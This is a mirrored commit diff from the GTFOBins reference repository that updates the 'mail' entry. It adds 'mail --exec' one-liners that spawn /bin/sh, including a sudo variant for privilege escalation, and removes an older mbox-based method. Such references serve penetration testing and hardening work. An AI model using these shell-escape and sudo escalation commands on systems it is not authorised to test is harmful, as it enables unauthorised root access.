mirror of
https://github.com/GTFOBins/GTFOBins.github.io
synced 2024-12-25 06:19:27 +01:00
parent
2650be9c68
commit
dd9f4269ed
@ -1,6 +1,8 @@
|
|||||||
---
|
---
|
||||||
functions:
|
functions:
|
||||||
shell:
|
shell:
|
||||||
|
- description: GNU version only.
|
||||||
|
code: mail --exec='!/bin/sh'
|
||||||
- description: This creates a valid Mbox file which may be required by the binary.
|
- description: This creates a valid Mbox file which may be required by the binary.
|
||||||
code: |
|
code: |
|
||||||
TF=$(mktemp)
|
TF=$(mktemp)
|
||||||
@ -8,10 +10,6 @@ functions:
|
|||||||
mail -f $TF
|
mail -f $TF
|
||||||
!/bin/sh
|
!/bin/sh
|
||||||
sudo:
|
sudo:
|
||||||
- description: This creates a valid Mbox file which may be required by the binary.
|
- description: GNU version only.
|
||||||
code: |
|
code: sudo mail --exec='!/bin/sh'
|
||||||
TF=$(mktemp)
|
|
||||||
echo "From nobody@localhost $(date)" > $TF
|
|
||||||
sudo mail -f $TF
|
|
||||||
!/bin/sh
|
|
||||||
---
|
---
|
||||||
|
Loading…
Reference in New Issue
Block a user